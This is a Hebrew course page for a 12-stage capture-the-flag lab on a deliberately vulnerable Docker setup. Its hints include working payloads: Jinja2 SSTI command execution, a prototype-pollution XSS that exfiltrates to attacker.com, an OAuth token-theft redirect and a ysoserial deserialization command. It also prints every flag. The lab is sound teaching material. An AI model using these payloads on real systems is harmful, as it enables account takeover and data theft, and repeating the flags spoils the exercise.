לדלג לתוכן

אתגר CTF מסכם - פרויקט סיום קורס

מבוא

זהו אתגר CTF מקיף שמשלב את כל הטכניקות שנלמדו בקורס. האתגר מדמה יעד אמיתי של Bug Bounty עם מספר שירותים מחוברים, וכולל 12 שלבים שכל אחד מהם דורש ידע מסקשן אחר של הקורס.

פורמט דגלים

FLAG{stage_N_description}

כל דגל הוא מחרוזת ייחודית שמוכיחה שהשלמתם את השלב.


ארכיטקטורת המערכת

                         [CDN/WAF]
                            |
                     [Load Balancer]
                      /     |     \
              [Web App] [API Server] [Admin Panel]
                |           |            |
           [Redis]    [PostgreSQL]  [Internal API]
                |           |            |
           [Queue]    [S3 Storage]  [Cloud Metadata]

תיאור השירותים

שירות טכנולוגיה פורט תפקיד
Web App Node.js/Express 3000 אפליקציית הקצה
API Server Python/Flask 5000 שרת API ראשי
Admin Panel Java/Spring 8080 פאנל ניהול
Redis Redis 7 6379 מטמון וסשנים
PostgreSQL PostgreSQL 15 5432 בסיס נתונים
Internal API Go 9090 שירות פנימי
Cloud Metadata Mock Service 80 סימולציית metadata

מבנה Docker Compose

version: '3.8'

services:
  # CDN/WAF - שכבת הגנה
  waf:
    image: nginx:latest
    ports:
      - "80:80"
      - "443:443"
    volumes:
      - ./waf/nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - webapp
      - api
      - admin

  # אפליקציית Web
  webapp:
    build: ./webapp
    ports:
      - "3000:3000"
    environment:
      - API_URL=http://api:5000
      - REDIS_URL=redis://redis:6379
      - JWT_SECRET=weak_secret_change_me
    depends_on:
      - api
      - redis

  # שרת API
  api:
    build: ./api
    ports:
      - "5000:5000"
    environment:
      - DATABASE_URL=postgresql://app:password@db:5432/ctf
      - REDIS_URL=redis://redis:6379
      - INTERNAL_API=http://internal-api:9090
      - AWS_METADATA_URL=http://metadata:80
    depends_on:
      - db
      - redis

  # פאנל ניהול
  admin:
    build: ./admin
    ports:
      - "8080:8080"
    environment:
      - DATABASE_URL=postgresql://admin:admin_password@db:5432/ctf
      - API_URL=http://api:5000

  # בסיס נתונים
  db:
    image: postgres:15
    environment:
      - POSTGRES_DB=ctf
      - POSTGRES_USER=app
      - POSTGRES_PASSWORD=password
    volumes:
      - ./db/init.sql:/docker-entrypoint-initdb.d/init.sql

  # Redis
  redis:
    image: redis:7
    ports:
      - "6379:6379"

  # שירות פנימי
  internal-api:
    build: ./internal-api

  # סימולציית Cloud Metadata
  metadata:
    build: ./metadata

networks:
  default:
    driver: bridge

שלב 1 - סריקה - Recon

תיאור

מפו את שטח התקיפה של היעד. מצאו תת-דומיינים נסתרים, נקודות קצה של API, וקבצי JavaScript שמכילים מידע רגיש.

הדגל

FLAG{stage_1_recon_js_api_endpoints_found}

הדגל נמצא בתוך קובץ JavaScript ששמור בנתיב נסתר.

רמזים

רמה רמז
קל בדקו את קוד המקור של הדף הראשי. יש קישורים לקבצי JS
בינוני חפשו נקודות קצה מוגדרות בקבצי JS. אחת מהן חושפת מפת API מלאה
קשה הנתיב /api/v2/docs מחזיר Swagger/OpenAPI specification. בקשו /js/app.bundle.js ונתחו אותו עם כלי כמו js-beautify

כלים וטכניקות

  • ניתוח קבצי JavaScript (סקשן 1 - סריקות וחקירה מתקדמת)
  • כלים: gau, waybackurls, LinkFinder, js-beautify

שלב 2 - אותנטיקציה - JWT Attack

תיאור

היישום משתמש ב-JWT לאותנטיקציה. מצאו את החולשה במנגנון ה-JWT והשיגו טוקן עם הרשאות גבוהות.

הדגל

FLAG{stage_2_jwt_algorithm_confusion_bypassed}

הדגל מוחזר כשניגשים ל-/api/admin/flag עם טוקן אדמין תקף.

רמזים

רמה רמז
קל בדקו את האלגוריתם ב-header של ה-JWT
בינוני השרת משתמש ב-RS256 אבל לא בודק את האלגוריתם שנשלח. נסו לשנות ל-HS256
קשה המפתח הציבורי חשוף ב-/api/.well-known/jwks.json. השתמשו בו כסוד ל-HMAC-SHA256. כלי: jwt_tool

כלים וטכניקות

  • תקיפות JWT (סקשן 2 - תקיפת אותנטיקציה מתקדמת)
  • כלים: jwt_tool, python-jwt, Burp Suite JWT Editor

שלב 3 - OAuth - גניבת טוקן אדמין

תיאור

היישום תומך ב-OAuth להתחברות. מצאו פגם ביישום שמאפשר גניבת טוקן האדמין.

הדגל

FLAG{stage_3_oauth_redirect_uri_bypass}

הדגל מוחזר כשניגשים לפרופיל האדמין עם הטוקן שנגנב.

רמזים

רמה רמז
קל בדקו את ה-redirect_uri בזרימת ה-OAuth
בינוני הוולידציה של redirect_uri בודקת רק את תחילת הנתיב. נסו להוסיף נתיב נוסף אחרי ה-callback
קשה השתמשו ב: redirect_uri=https://target.com/oauth/callback/../redirect?url=https://attacker.com והקימו שרת שמקבל את הטוקן

כלים וטכניקות

  • חולשות OAuth (סקשן 2 - תקיפת אותנטיקציה מתקדמת)
  • כלים: Burp Suite, Python Flask לשרת קבלה

שלב 4 - עקיפת 2FA

תיאור

פאנל הניהול מוגן ב-2FA. מצאו דרך לעקוף אותו.

הדגל

FLAG{stage_4_2fa_race_condition_bypass}

הדגל מוצג בפאנל הניהול אחרי התחברות מוצלחת.

רמזים

רמה רמז
קל נסו לשלוח מספר קודות OTP בו-זמנית
בינוני יש Race Condition בבדיקת ה-OTP. אם שולחים 100 בקשות במקביל עם קודות שונים, אחד מהם יתקבל
קשה השתמשו בסקריפט שמייצר 1000 קודות (0000-9999) ושולח את כולם ב-burst יחיד. הגבלת הניסיונות לא עומדת בעומס מקבילי

כלים וטכניקות

  • תנאי מרוץ (סקשן 6 - תנאי מרוץ ולוגיקה עסקית)
  • כלים: Turbo Intruder, Python asyncio

שלב 5 - GraphQL - חילוץ מידע

תיאור

שרת ה-API חושף GraphQL endpoint. השתמשו ב-introspection כדי למפות את הסכמה ולחלץ מידע רגיש.

הדגל

FLAG{stage_5_graphql_introspection_data_leak}

הדגל נמצא בשדה secret_note של אובייקט InternalConfig.

רמזים

רמה רמז
קל ה-GraphQL endpoint הוא /api/graphql. נסו introspection query
בינוני הפעילו introspection מלא ומצאו את הטיפוס InternalConfig. בצעו שאילתה ישירה
קשה query { __schema { types { name fields { name type { name } } } } } ואחר כך: query { internalConfig { secret_note } }

כלים וטכניקות

  • תקיפות GraphQL (סקשן 3 - הזרקות מתקדמות)
  • כלים: GraphQL Voyager, InQL Burp Extension

שלב 6 - SSTI - הזרקת תבנית

תיאור

פיצ'ר "ייצוא דוח" מאפשר למשתמשים לבחור תבנית. מצאו SSTI והשיגו RCE.

הדגל

FLAG{stage_6_ssti_to_rce_jinja2}

הדגל נמצא בקובץ /flag_stage6.txt על שרת ה-API.

רמזים

רמה רמז
קל שדה "שם הדוח" בפיצ'ר הייצוא מעובד כתבנית
בינוני המנוע הוא Jinja2 (Python). נסו {{7*7}} כשם הדוח ובדקו אם מוחזר 49
קשה השתמשו ב: {{config.__class__.__init__.__globals__['os'].popen('cat /flag_stage6.txt').read()}}

כלים וטכניקות

  • SSTI (סקשן 7 - תקיפות צד שרת מתקדמות)
  • כלים: tplmap, Burp Suite

שלב 7 - Prototype Pollution ל-XSS

תיאור

אפליקציית הקצה משתמשת בספריית JavaScript פגיעה ל-Prototype Pollution. נצלו אותה כדי להשיג XSS.

הדגל

FLAG{stage_7_prototype_pollution_to_xss}

הדגל מוחזר מ-/api/flag7 כשנשלח ה-cookie שנגנב מהאדמין דרך ה-XSS.

רמזים

רמה רמז
קל נקודת הקצה /api/settings מקבלת JSON ועושה deep merge
בינוני שלחו {"__proto__": {"innerHTML": "<img src=x onerror=...>"}} ובדקו אם הדפים הבאים מושפעים
קשה השתמשו ב-gadget של data- attribute ב-HTML: {"__proto__": {"data-src": "x", "onload": "fetch('/api/flag7').then(r=>r.text()).then(t=>location='https://attacker.com/?f='+t)"}}

כלים וטכניקות

  • Prototype Pollution (סקשן 4 - תקיפות צד לקוח מתקדמות)
  • כלים: Burp Suite, pp-finder

שלב 8 - Request Smuggling - עקיפת WAF

תיאור

ה-WAF חוסם גישה ישירה לנתיבים מסוימים. השתמשו ב-HTTP Request Smuggling כדי לעקוף אותו.

הדגל

FLAG{stage_8_request_smuggling_waf_bypass}

הדגל נמצא בנתיב /internal/flag8 שחסום על ידי ה-WAF.

רמזים

רמה רמז
קל ה-WAF (nginx) וה-backend (Node.js) מפרשים Content-Length ו-Transfer-Encoding בצורה שונה
בינוני זוהי חולשת CL.TE. ה-WAF משתמש ב-Content-Length והשרת ב-Transfer-Encoding
קשה שלחו בקשה עם שני headers: Content-Length: 30 ו-Transfer-Encoding: chunked. הבקשה המוסתרת תהיה GET /internal/flag8 HTTP/1.1

כלים וטכניקות

  • HTTP Request Smuggling (סקשן 5 - תקיפות פרוטוקול HTTP)
  • כלים: Burp Suite HTTP Request Smuggler, Python scripts

שלב 9 - Race Condition - הסלמת הרשאות

תיאור

מערכת ההרשאות מאפשרת הסלמה דרך תנאי מרוץ. נצלו את המרוץ כדי לשנות את התפקיד שלכם לאדמין.

הדגל

FLAG{stage_9_race_condition_privilege_escalation}

הדגל מוחזר כשניגשים ל-/api/admin/flag9 עם חשבון שהוסלם.

רמזים

רמה רמז
קל נקודת הקצה /api/role/upgrade בודקת קודם אם המשתמש זכאי לשדרוג, ואז מבצעת את השדרוג - בשתי פעולות נפרדות
בינוני שלחו בקשות מרובות במקביל ל-/api/role/upgrade עם {"requested_role": "admin"}. הבדיקה וההפעלה אינן אטומיות
קשה השתמשו ב-Turbo Intruder עם 50 חיבורים מקביליים. שלחו את הבקשה באותו הרגע בדיוק עם engine.queue() ו-gate

כלים וטכניקות

  • תנאי מרוץ (סקשן 6 - תנאי מרוץ ולוגיקה עסקית)
  • כלים: Turbo Intruder, Python asyncio

שלב 10 - SSRF וענן - Cloud Attack

תיאור

מצאו SSRF בשרת ה-API ונצלו אותו כדי לגשת לשירות ה-metadata של הענן ולגנוב credentials.

הדגל

FLAG{stage_10_ssrf_cloud_metadata_credential_theft}

הדגל נמצא ב-S3 bucket שניתן לגשת אליו עם ה-credentials שנגנבו.

רמזים

רמה רמז
קל נקודת הקצה /api/preview מקבלת URL ומחזירה תצוגה מקדימה
בינוני שלחו url=http://metadata:80/latest/meta-data/iam/security-credentials/ כדי לראות את שם ה-role
קשה אחרי קבלת ה-credentials, השתמשו ב-boto3 עם הם. הקובץ נמצא ב-bucket ctf-flags בנתיב stage10/flag.txt

כלים וטכניקות

  • SSRF ותקיפות ענן (סקשן 7 - תקיפות צד שרת מתקדמות)
  • כלים: Python requests, boto3

שלב 11 - Deserialization - RCE

תיאור

השירות הפנימי (Java) פגיע ל-deserialization. נצלו את החולשה כדי להשיג RCE.

הדגל

FLAG{stage_11_java_deserialization_rce}

הדגל נמצא בקובץ /flag_stage11.txt על השירות הפנימי.

רמזים

רמה רמז
קל השירות הפנימי בפורט 9090 מקבל אובייקטים מסודרים ב-endpoint /api/import
בינוני ה-Content-Type הוא application/x-java-serialized-object. השתמשו ב-ysoserial ליצירת payload
קשה צרו payload עם: java -jar ysoserial.jar CommonsCollections6 "cat /flag_stage11.txt" > payload.bin ושלחו דרך ה-SSRF מהשלב הקודם

כלים וטכניקות

  • Deserialization (סקשן 7 - תקיפות צד שרת מתקדמות)
  • כלים: ysoserial, Burp Suite

שלב 12 - הדגל הסופי - שרשור הכל

תיאור

הדגל הסופי מוגן במספר שכבות הגנה. כדי להגיע אליו, תצטרכו לשרשר מספר טכניקות מהשלבים הקודמים.

הדגל

FLAG{stage_12_ultimate_chain_master_hacker}

רמזים

רמה רמז
קל הדגל נמצא בנתיב /api/ultimate-flag שדורש: טוקן אדמין + גישה מ-IP פנימי + header מיוחד
בינוני צריך: (1) JWT אדמין מהשלב 2, (2) Request Smuggling מהשלב 8 כדי לעקוף את בדיקת ה-IP, (3) הכותרת X-Internal-Token שנמצאת דרך ה-SSRF
קשה שרשרו: JWT אדמין + Request Smuggling שמוסיף X-Forwarded-For: 10.0.0.1 + X-Internal-Token שנמצא ב-http://metadata:80/internal/token

כלים וטכניקות

  • שרשור חולשות (סקשן 9 - שרשור חולשות ועולם אמיתי)
  • כל הכלים מהשלבים הקודמים

טבלת התקדמות

שלב  | נושא                 | קישור לסקשן בקורס | קושי
=====|======================|===================|======
1    | סריקה                | סקשן 1            | קל
2    | JWT                  | סקשן 2            | בינוני
3    | OAuth                | סקשן 2            | בינוני
4    | עקיפת 2FA            | סקשן 6            | בינוני
5    | GraphQL              | סקשן 3            | קל
6    | SSTI                 | סקשן 7            | בינוני
7    | Prototype Pollution  | סקשן 4            | קשה
8    | Request Smuggling    | סקשן 5            | קשה
9    | Race Condition       | סקשן 6            | בינוני
10   | SSRF + ענן           | סקשן 7            | בינוני
11   | Deserialization      | סקשן 7            | קשה
12   | שרשור                | סקשן 9            | קשה מאוד

הוראות הקמה

דרישות

  • Docker ו-Docker Compose
  • לפחות 8GB RAM
  • לפחות 20GB דיסק פנוי

הקמה

# שכפול הפרויקט
git clone https://github.com/course/ctf-challenge.git
cd ctf-challenge

# הקמת כל השירותים
docker-compose up -d

# בדיקה שהכל רץ
docker-compose ps

# גישה ליעד
# http://localhost:80 - אפליקציה ראשית
# http://localhost:3000 - Web App ישיר
# http://localhost:5000 - API ישיר
# http://localhost:8080 - פאנל ניהול

איפוס

# איפוס כל השירותים
docker-compose down -v
docker-compose up -d

כללים

  1. כל שלב ניתן לפתרון עצמאי, אבל חלקם קלים יותר אם פתרתם שלבים קודמים
  2. תעדו כל שלב - זה חלק מהלמידה
  3. אם נתקעתם - השתמשו ברמזים בסדר עולה
  4. הדגל הסופי (שלב 12) דורש שימוש בתוצאות של שלבים קודמים
  5. אין צורך לפתור את כל השלבים - אבל נסו כמה שיותר

בהצלחה!